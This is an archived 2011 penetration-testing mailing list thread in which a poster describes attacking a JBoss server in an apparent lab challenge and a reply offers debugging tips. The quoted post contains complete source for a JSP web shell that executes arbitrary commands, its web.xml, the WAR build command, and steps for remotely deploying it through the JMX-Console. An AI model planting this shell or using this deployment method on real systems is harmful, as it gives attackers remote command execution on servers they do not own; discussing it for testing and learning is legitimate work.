|
|
Penetration Testing
breaking jboss with a browser? not happening Jan 14 2011 08:02PM lazers (a alii85 gmail com) (5 replies) Re: breaking jboss with a browser? not happening Jan 18 2011 12:19PM psiinon (psiinon gmail com) (1 replies) Re: breaking jboss with a browser? not happening Jan 18 2011 11:32AM Robin Wood (robin digininja org) (1 replies) |
|
Privacy Statement |
JBoss includes embedded Tomcat which handles the actual HTTP elements. Cre= ating the WAR is just packaging for deployment, JSPs are compiled on the fl= y. If there was an issue with your code you should get a 500 error, not 40= 4.
Try deploying without the <servlet> block in the web.xml file; this shouldn= 't be necessary for a JSP page. Also, try including a regular HTML page (i= .e. not JSP) in the WAR and accessing that. This will rule out a compilati= on issue.=20
HTH
Chris
(Sorry for top posting, but Outlook sucks)
-----Original Message-----
From: listbounce (at) securityfocus (dot) com [email concealed] [mailto:listbounce (at) securityfocus (dot) com [email concealed]] On Behalf Of lazers
Sent: 14 January 2011 20:03
To: pen-test (at) securityfocus (dot) com [email concealed]
Subject: breaking jboss with a browser? not happening
I have been given task to break into jboss application by my senior sec manager at my company.
Its a hacking challenge staged in a test lab This is what i have been given.
A web-access to jboss.
Yes that pretty much it<3. He believes in less is more philosophy. With some get to start working info. I have been told that a vulnerability exists inthe application and its no 0 day exploit its an known vulnerability.It is set as an open-book challenge i can get help anywhere i like. So what i did so for?
Yes i google ; but i also run a nessus scan and the scan brought me one HIGH vulnerability. Its has to do with the default Jboss installation using the JMX-Console. Its not a new vulnerability i was able to reach this conclusion as i start googling. This particular vulnerability is very popular; I was saying to myself that my problems are over and i would be break it into jboss in record time. But that has been largely un-true. Why? Well if it wasn't true i wouldn't be here. I did the following (in steps)
attack vector: deployment scanner feature
1.confirmed the default installation (by accessing localhost:9090) in my case its
9090 not 8080 as in hacking literature. Probably this is because em using a new version (idk exact reason)
2.i wrote this jsp script(cmd.jsp) astold in sites.
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform"ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") +"<BR>");
Process p =Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
3.next i create a web.xml file to be placed in WEB-INF folder
<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>Command</servlet-name>
<jsp-file>/cmd.jsp</jsp-file>
</servlet>
</web-app>
4.I complied the file cmd.jsp by placing the web.xml file in WEB-INF folder
jar cvf cmd.war WEB-INF cmd.jsp
5. I put this file in http-apache server. File cmd.war reside at htdocs folder. Can be accessed by url: mywebserver:80/cmd.war
6.i go back to jboss defualt page and navigate myself to jboss.deploymentpage.
7. in the addurl tab i enter path for my cmd.war file as
http://mywebserver/cmd.war
8. next i goto victim webserver in attempt to access my uploaded application http://victim:9090/cmd/cmd.jsp
9. i get HTTP STATUS 404- /cmd/cmd.jsp
my app is suppose to be hot deployed by the jboss; but this is not the case coz even after 10-20 times after u have access the file i get the same error page. I want to know what is the reason for the behavior. I know there exists other attack vector (e.g rmi and etc) but i want to stick to this until i don't figure out the reason for this failure of exploit.
Em i compiling the .jsp file with incorrect syntax? do i need to have tomcat server installed instead? I read it on internet that there could be some problems in the jboss trying to get reverse shell on your web-server as jboss is it work in bind-shell mode only? I'm really clueless to what i happening i spent 12 works on this single attack vector but em not making head-ways.
jboss gurus help me.
thanks
--
View this message in context: http://old.nabble.com/breaking-jboss-with-a-browser--not-happening-tp306
74976p30674976.html
Sent from the Penetration Testing mailing list archive at Nabble.com.
------------------------------------------------------------------------
This list is sponsored by: Information Assurance Certification Review Board
Prove to peers and potential employers without a doubt that you can actually do a proper penetration test. IACRB CPT and CEPT certs require a full practical examination in order to become certified.
http://www.iacertification.org
------------------------------------------------------------------------
This e-mail has been scanned for all viruses by WebSense MailControl.
www.websense.com
Click https://www.mailcontrol.com/sr/wQw0zmjPoHdJTZGyOCrrhg== to report this
email as spam.
"This email and any file attachments do not form a contract unless expressly stated. They may contain privileged, confidential and/or copyright information. If you are not the intended recipient or the service provider responsible for delivering this please delete the material from any computer and return to the sender at once; do not use, disclose or reproduce its contents. We do not accept liability for any error or omission in the message arising from corruption of, delay in or interference with, its transmission. We reserve the right to monitor email communications through normal internal and external networks. We believe but do not warrant that the email and the file attachments are virus free."
Interservefm Ltd. Registered in England, Number : 2820560.
Registered Office: Capital Tower, 91 Waterloo Road, London SE1 8RT.
------------------------------------------------------------------------
This list is sponsored by: Information Assurance Certification Review Board
Prove to peers and potential employers without a doubt that you can actually do a proper penetration test. IACRB CPT and CEPT certs require a full practical examination in order to become certified.
http://www.iacertification.org
------------------------------------------------------------------------
[ reply ]